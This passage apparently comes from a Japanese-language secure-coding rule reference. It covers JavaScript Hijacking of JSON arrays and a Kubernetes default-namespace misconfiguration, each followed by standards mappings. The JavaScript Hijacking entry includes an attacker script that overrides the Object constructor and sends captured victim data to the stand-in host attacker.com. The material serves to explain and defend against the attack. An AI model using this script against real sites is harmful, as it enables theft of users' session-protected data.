[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[12] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[26] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[27] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.config.java.javascript_hijacking_vulnerable_framework
Abstract
機密データの転送のために JavaScript 表記を使用するアプリケーションは、JavaScript 乗っ取り攻撃に対して脆弱である可能性があり、権限のない攻撃者が機密データを読み取ることができるようになります。
Explanation
アプリケーションは、データ転送形式として JavaScript オブジェクトを使用する場合、および機密データを扱う場合に、JavaScript 乗っ取り攻撃に対して脆弱となる可能性があります。JavaScript 乗っ取り攻撃はコード作成ミスの直接的な結果として発生するものではありません。そのため、Fortify Secure Coding Rulepacks では、HTTP レスポンスで JavaScript を生成する可能性があるコードを識別して、潜在的な JavaScript 乗っ取り攻撃の脆弱性に注意するよう呼び掛けています。

Web ブラウザーは、悪意のある Web サイトからユーザーを保護するために、同一生成元ポリシーを適用します。同一生成元ポリシーは、JavaScript が Web ページのコンテンツにアクセスできるように、JavaScript と Web ページの両方が同じドメインを由来としていることを求めます。同一生成元ポリシーが適用されない場合、他の Web サイトからクライアントの証明書を使用して機密性の高い情報をロードして選び取り、攻撃者にこれらの情報を戻す JavaScript が悪意ある Web サイトによって仕組まれる可能性があります。JavaScript 乗っ取り攻撃により、Web アプリケーションが JavaScript を使用して機密情報を通信する場合、攻撃者が同一生成元ポリシーをバイパスできてしまいます。同一生成元ポリシーの抜け穴は、Web サイトの JavaScript を他の Web サイトのコンテキストに組み込んで実行できてしまうことです。悪意のあるサイトは、クライアントの脆弱なサイトから読み込まれたデータを直接調べることはできませんが、JavaScript の実行とそれに関連する副作用を監視する環境を構築することで、この抜け穴を利用します。従来の Web アプリケーションとは異なり、多くの Web 2.0 アプリケーションはデータ転送メカニズムとして JavaScript を使用しているため脆弱です。

JavaScript で情報をやり取りする場合の最も一般的な形式は JavaScript Object Notation (JSON) です。JSON RFC により、JSON 構文は JavaScript オブジェクトリテラル構文のサブセットとして定義されています。JSON は、配列とオブジェクトの 2 種類のデータ構造に基づいています。メッセージを 1 つ以上の有効な JavaScript ステートメントとして解釈することができるあらゆるデータ転送形式は、JavaScript 乗っ取り攻撃に対して脆弱です。JSON 配列は有効な JavaScript ステートメントとして独立しているため、JSON では JavaScript 乗っ取り攻撃を受けやすくなります。配列はリストをやり取りする場合に最も一般的に使用される形式であるため、アプリケーションが複数の値をやり取りする必要がある場合には頻繁に使用されます。言い換えれば、JSON 配列は JavaScript 乗っ取り攻撃に対して直接脆弱となっています。JSON オブジェクトは有効な JavaScript ステートメントとして独立している別の JavaScript 構造体にラップされる場合にのみ、脆弱となります。

例 1: 次の例ではまず、有益な顧客リストを管理するために使用される Web アプリケーションのクライアント コンポーネントおよびサーバー コンポーネント間における正規の JSON の相互処理について示します。次に、攻撃者がクライアントになりすまし、サーバーが返す機密データにアクセスする方法を示します。この例は Mozilla ベースのブラウザについて記述したものです。他の主要なブラウザでは、新しい演算子を使用せずにオブジェクトが作成される場合にネイティブ構造体は上書きできなくなっています。

クライアントはサーバーからデータをリクエストして、次のコードで JSON として結果を評価します。


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


このコードが実行されると、次のような HTTP リクエストが生成されます。


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(この HTTP レスポンスおよび後続のコードでは、この説明に直接関係のない HTTP ヘッダーは省略されています。)
サーバーは JSON 形式の配列を使用してレスポンスします。


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


この場合、JSON には現在のユーザーに関する機密情報 (有益な顧客リスト) が含まれています。このユーザーのセッション ID を把握していない場合、他のユーザーはこの情報にはアクセスできません(最近の Web アプリケーションは、セッション ID は cookie として保存されます)。しかし、ユーザー (被害者) が悪意ある Web サイトにアクセスすると、この悪意あるサイトは JavaScript 乗っ取り攻撃によりこの情報を取得することが可能となります。ユーザーが以下のような悪意あるコードが含む Web ページにアクセスするように仕組まれる場合、この被害者の顧客リストが攻撃者の Web サイトに送信されてしまいます。


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


この悪意あるコードでは、現在のページに JSON オブジェクトを追加するためにスクリプトタグが使用されています。Web ブラウザは、リクエストと共に適切なセッション cookie を送信します。言い換えると、このリクエストは正規のアプリケーションから出されたものとして処理されます。

JSON 配列がこのクライアントに到着すると、悪意あるページのコンテキストで評価されます。JSON の評価を見るために、悪意あるページでは新しいオブジェクトを作成するようにこの JavaScript 関数が再定義されています。このように、悪意あるコードにより仕掛けが挿入され、作成された各オブジェクトにアクセスされオブジェクトのコンテンツが悪意あるサイトへ転送されるようになります。また、他の攻撃により配列のデフォルトの構造体が上書きされる場合もあります。マッシュアップでの使用を目的としてビルドされているアプリケーションは、各 JavaScript メッセージの最後でコールバック関数を呼び出すことがあります。このコールバック関数は、マッシュアップにおける他のアプリケーションにより定義されるようになっています。このコールバック関数の存在が JavaScript 乗っ取り攻撃の実行を容易にしています。攻撃者が実行する必要があるのは、関数を定義することだけです。アプリケーションはマッシュアップ対応にすることもできます。また、セキュリティを重視するようにすることもできますが、それらを両立することはできません。脆弱なサイト ユーザーがログインすると、攻撃者はユーザーにログインするように求め、次にアプリケーションの正規のログイン ページを表示することで、この攻撃を行うことができます。

攻撃者はユーザーの認証情報にはアクセスできませんので、これはフィッシング攻撃ではありません。そのため、フィッシング攻撃への対応策では、この攻撃を防ぐことはできません。さらに複雑な攻撃では、動的にスクリプトタグを生成する JavaScript を使用し、アプリケーションに対して一連のリクエストを行うことが可能です。これと同じ手法はアプリケーションマッシュアップを作成するために使用されます。このマッシュアップシナリオにおける唯一の相違点は、関連付けられるアプリケーションの 1 つが悪意あるものであることです。
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 12
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[12] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[26] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[27] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.dataflow.javascript.javascript_hijacking_vulnerable_framework
Abstract
Kubernetes のデフォルトの名前空間の使用は避けてください。
Explanation
Kubernetes 名前空間は、クラスターを管理可能なチャンクに分割します。名前空間は、名前の範囲を提供し、クラスターのサブセクションへのさまざまなポリシーの指定を容易にします。デフォルトでは、Kubernetes はリソースを default 名前空間に割り当てます。デフォルトとは異なる名前空間を使用すると、間違いや悪意のあるアクティビティの影響を減らすことができます。

例 1: 次の設定では、リソースの名前空間が default に設定されます。

...
kind: ...
metadata:
...
namespace: default
spec:
...
References
[1] Namespaces The Kubernetes Authors
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[5] Standards Mapping - CIS Google Kubernetes Engine Benchmark confidentiality
[6] Standards Mapping - CIS Kubernetes Benchmark partial
[7] Standards Mapping - Common Weakness Enumeration CWE ID 340
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001368, CCI-001414
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-4 Information Flow Enforcement
[11] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[12] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[13] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[14] Standards Mapping - OWASP Top 10 2021 A05 Security Misconfiguration
[15] Standards Mapping - OWASP API 2023 API8 Security Misconfiguration
[16] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[17] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[30] Standards Mapping - Web Application Security Consortium Version 2.00 Predictable Resource Location (WASC-34)
[31] Standards Mapping - Web Application Security Consortium 24 + 2 Predictable Resource Location
desc.structural.yaml.kubernetes_misconfiguration_default_namespace.base